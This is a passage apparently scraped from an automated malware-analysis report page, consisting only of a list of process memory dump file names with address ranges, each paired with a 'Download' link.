                                Download

                                memory/2736-271-0x00000283C5510000-0x00000283C572C000-memory.dmp
                                Download

                                memory/2748-282-0x000002B8FC100000-0x000002B8FC31C000-memory.dmp
                                Download

                                memory/2840-964-0x000001A94BD80000-0x000001A94BF9C000-memory.dmp
                                Download

                                memory/2936-313-0x000001CC1A200000-0x000001CC1A41C000-memory.dmp
                                Download

                                memory/3028-864-0x00000205515E0000-0x00000205517FC000-memory.dmp
                                Download

                                memory/3092-143-0x0000019EDB330000-0x0000019EDB54C000-memory.dmp
                                Download

                                memory/3180-376-0x000001F0BC9D0000-0x000001F0BCBEC000-memory.dmp
                                Download

                                memory/3312-945-0x000002549E1B0000-0x000002549E3CC000-memory.dmp
                                Download

                                memory/3416-176-0x0000020E58300000-0x0000020E5851C000-memory.dmp
                                Download

                                memory/3524-449-0x000001E9EBAC0000-0x000001E9EBCDC000-memory.dmp
                                Download

                                memory/3548-487-0x0000022E46A20000-0x0000022E46C3C000-memory.dmp
                                Download

                                memory/3660-854-0x000001FD62EE0000-0x000001FD630FC000-memory.dmp
                                Download

                                memory/3708-539-0x0000012ECED00000-0x0000012ECEF1C000-memory.dmp
                                Download

                                memory/3756-890-0x000001F57BD80000-0x000001F57BF9C000-memory.dmp
                                Download

                                memory/4176-926-0x00000194EC230000-0x00000194EC44C000-memory.dmp
                                Download

                                memory/4196-936-0x0000016CC8FF0000-0x0000016CC920C000-memory.dmp
                                Download

                                memory/4320-154-0x000001D8FBBE0000-0x000001D8FBDFC000-memory.dmp
                                Download

                                memory/4328-165-0x000001D0CD990000-0x000001D0CDBAC000-memory.dmp
                                Download

                                memory/4384-993-0x00000267FD820000-0x00000267FDA3C000-memory.dmp
                                Download

                                memory/4428-983-0x000002C87E350000-0x000002C87E56C000-memory.dmp
                                Download

                                memory/4468-974-0x0000026D1BCC0000-0x0000026D1BEDC000-memory.dmp
                                Download

                                memory/4572-228-0x000001E76E0E0000-0x000001E76E2FC000-memory.dmp
                                Download

                                memory/4640-335-0x0000023DA6A30000-0x0000023DA6C4C000-memory.dmp
                                Download

                                memory/4684-260-0x0000021EE3170000-0x0000021EE338C000-memory.dmp
                                Download

                                memory/4684-827-0x000002957E650000-0x000002957E86C000-memory.dmp
                                Download

                                memory/4856-557-0x000002DBD2E00000-0x000002DBD301C000-memory.dmp
                                Download

                                memory/4996-33-0x000001E4230F0000-0x000001E4230FA000-memory.dmp
                                Download

                                memory/4996-32-0x000001E423130000-0x000001E423142000-memory.dmp
                                Download

                                memory/4996-16-0x000001E408080000-0x000001E408090000-memory.dmp
                                Download

                                memory/4996-15-0x000001E408080000-0x000001E408090000-memory.dmp
                                Download

                                memory/4996-26-0x000001E4230C0000-0x000001E4230EA000-memory.dmp
                                Download

                                memory/4996-27-0x000001E4230C0000-0x000001E4230E4000-memory.dmp
                                Download

                                memory/4996-28-0x000001E4230C0000-0x000001E4230E6000-memory.dmp
                                Download

                                memory/4996-29-0x000001E423110000-0x000001E423124000-memory.dmp
                                Download

                                memory/4996-31-0x000001E408080000-0x000001E408090000-memory.dmp
                                Download

                                memory/4996-30-0x000001E408080000-0x000001E408090000-memory.dmp
                                Download

                                memory/5060-900-0x000001E7EC9A0000-0x000001E7ECBBC000-memory.dmp
                                Download

                                memory/5060-576-0x000001C13CD10000-0x000001C13CF2C000-memory.dmp
                                Download

                                memory/5076-132-0x000001B7FC8A0000-0x000001B7FCABC000-memory.dmp
                                Download